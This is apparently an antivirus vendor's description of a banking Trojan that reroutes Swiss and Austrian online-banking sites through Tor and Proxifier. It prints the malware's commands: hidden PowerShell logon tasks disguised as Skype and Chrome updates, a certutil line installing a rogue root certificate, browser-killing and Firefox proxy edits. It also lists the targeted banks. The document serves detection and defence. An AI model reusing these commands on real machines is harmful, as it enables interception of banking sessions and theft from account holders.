W2KM_CERTOR.B

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes certain actions WITHIN the affected computer.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan creates the following folders:

• %Application Data%\TP\p\Profiles

(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Other System Modifications

This Trojan adds the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings
AutoConfigURL = "http://{domain}/{random characters}.js?ip={IP}"
where domain can be the following:

Dropping Routine

This Trojan drops the following files:

• %User Temp%\cert.der
• %User Temp%\{random characters}.ps1-used to install certificate in Internet Explorer
• %User Temp%\{random characters}.ps1-used to install certificate in FireFox
• %Application Data%\TP\p\Profiles\Default.ppx-Profile Settings of Proxifier
• %Application Data%\TP\p\Settings.ini-initialization settings of Proxifier

(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.. %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

• http:/{BLOCKED}ier.com/distr/ProxifierPE.zip -Proxy Software
• http:/{BLOCKED}ad-codeplex.sec.s-msft.com/Download/Release?ProjectName=taskscheduler&DownloadId=1505290&FileTime=131142250937900000&Build=21031-used for Task Scheduler
• https:/{BLOCKED}t.{BLOCKED}ject.org/torbrowser/6.0.4/tor-win32-0.2.8.6.zip-TOR browser

It saves the files it downloads using the following names:

• %User Temp%\ts.zip-Task Scheduler
• %User Temp%\t.zip-TOR browser
• %User Temp%\p1.zip-Proxifier
  • Note: These files were deleted after extracting

(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Other Details

This Trojan does the following:

• Uses SOCKS5 Proxy and redirects the following sites to local host with port 9050 when accessed:
  • *postfinance.ch
  • cs.directnet.com
  • eb.akb.ch
  • *.ubs.com
  • tb.raiffeisendirect.ch
  • *.bkb.ch
  • *.lukb.ch
  • *.zkb.ch
  • *.onba.ch
  • e-banking.gkb.ch
  • *.bekb.ch
  • wwwsec.ebanking.zugerkb.ch
  • netbanking.bcge.ch
  • *.raiffeisen.ch
  • *.credit-suisse.com
  • *.bankaustria.at
  • *.bawagpsk.com
  • *.raiffeisen.at
  • *.static-ubs.com
  • *.bawag.com
  • *.clientis.ch
  • clientis.ch
  • *bcvs.ch
  • *cic.ch
  • www.banking.co.at
  • *oberbank.at
  • www.oberbank-banking.at
  • *baloise.ch
  • *.ukb.ch
  • urkb.ch
  • *.urkb.ch
  • *.eek.ch
  • *szkb.ch
  • *shkb.ch
  • *glkb.ch
  • *nkb.ch
  • *owkb.ch
  • *cash.ch
  • *bcf.ch
  • *.easybank.at
  • ebanking.raiffeisen.ch
  • *.onion
  • *bcv.ch
  • *juliusbaer.com
  • *abs.ch
  • *bcn.ch
  • *blkb.ch
  • *bcj.ch
  • *zuercherlandbank.ch
  • *valiant.ch
  • *wir.ch
• Modifies the FireFox's settings by modifying the the following file:
  • %Application Data%\Mozilla\Firefox\Profiles\{random alphanumeric characters}.default\prefs.js
• Modifies the content of prefs.js to enable the proxy and access to ".onion" into following:
  • user_pref("network.dns.blockDotOnion", false);
  • user_pref("network.proxy.{type}, false);
• The downloaded files were extracted in the following folders:
  • %User Temp%\ts-Task Scheduler
  • %Application Data%\TP-TOR and Proxifier PE
• It loads the following DLL used for Task Scheduler:
  • %User Temp%\ts\v2.0\Microsoft.Win32.TaskScheduler.dll
• It schedules the following tasks:
  • Name="SkypeUpdateTask"
    Description="Does something"
    Trigger="At Logon"
    Execute:"PowerShell.exe -WindowStyle hidden add-type -name win -member [DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state); -namespace native;[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);Start-Process -WindowStyle hidden -FilePath '%Application Data%\TP\Tor\tor.exe'
    
  • Name="ChromeUpdate"
    Description="Does something"
    Trigger="At Logon"
    Execute:"PowerShell.exe -WindowStyle hidden add-type -name win -member [DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state); -namespace native;[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);Start-Process -WindowStyle hidden -FilePath '%Application Data%\TP\p\Proxifier.exe';while(![native.win]::ShowWindow(([System.Diagnostics.Process]::GetProcessesByName("proxifier") | Get-Process).MainWindowHandle, 0)){}
    
• It connects to the following URLs in which it will return an IP address:
  • http:/icanhazip.com/3ne2scma55oczag6.onion
  • http:/icanhazip.com/vl46saaxvfsosg3y.onion
  • http:/icanhazip.com/ug6nw7vl6csbuqzs.onion
  • http:/icanhazip.com/6kux6tnxjptryfg7.onion
  • http:/api.ipify.org/3ne2scma55oczag6.onion
  • http:/api.ipify.org/vl46saaxvfsosg3y.onion
  • http:/api.ipify.org/ug6nw7vl6csbuqzs.onion
  • http:/api.ipify.org/6kux6tnxjptryfg7.onion

It executes the following:

• powershell -ExecutionPolicy Unrestricted -File "%User Temp%\{random characters}.ps1"
• certutil -addstore -f -user "ROOT" "%User Temp%\cert.der"
• taskkill /F /im iexplore.exe
• taskkill /F /im firefox.exe
• taskkill /F /im chrome.exe

(Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

NOTES:

Inside the malicious document file is an OLE Embedded Object which runs a script when double-clicked. It tricks the user by using an icon that resembles a receipt.

It contains a text written in German which translates as:

To see the receipt, double click the image.